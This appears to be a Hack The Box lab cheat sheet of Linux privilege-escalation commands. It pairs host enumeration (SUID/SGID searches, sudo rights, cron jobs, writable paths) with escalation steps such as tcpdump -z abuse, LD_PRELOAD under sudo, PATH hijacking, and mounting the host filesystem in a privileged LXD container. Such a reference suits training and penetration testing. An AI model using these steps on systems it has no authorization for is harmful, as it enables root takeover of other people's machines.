Linux Privilege Escalation

Command	Description
ssh htb-student@<target IP>	SSH to lab target
ps aux | grep root	See processes running as root
ps au	See logged in users
ls /home	View user home directories
ls -l ~/.ssh	Check for SSH keys for current user
history	Check the current user's Bash history
sudo -l	Can the user run anything as another user?
ls -la /etc/cron.daily	Check for daily Cron jobs
lsblk	Check for unmounted file systems/drives
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null	Find world-writeable directories
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null	Find world-writeable files
uname -a	Check the Kernel versiion
cat /etc/lsb-release	Check the OS version
gcc kernel_expoit.c -o kernel_expoit	Compile an exploit written in C
screen -v	Check the installed version of Screen
./pspy64 -pf -i 1000	View running processes with pspy
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null	Find binaries with the SUID bit set
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null	Find binaries with the SETGID bit set
sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root	Priv esc with tcpdump
echo $PATH	Check the current user's PATH variable contents
PATH=.:${PATH}	Add a . to the beginning of the current user's PATH
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null	Search for config files
ldd /bin/ls	View the shared objects required by a binary
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart	Escalate privileges using LD_PRELOAD
readelf -d payroll | grep PATH	Check the RUNPATH of a binary
gcc src.c -fPIC -shared -o /development/libshared.so	Compiled a shared libary
lxd init	Start the LXD initialization process
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine	Import a local image
lxc init alpine r00t -c security.privileged=true	Start a privileged LXD container
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true	Mount the host file system in a container
lxc start r00t	Start the container
showmount -e 10.129.2.12	Show the NFS export list
sudo mount -t nfs 10.129.2.12:/tmp /mnt	Mount an NFS share locally
tmux -S /shareds new -s debugsess	Created a shared tmux session socket
./lynis audit system	Perform a system audit with Lynis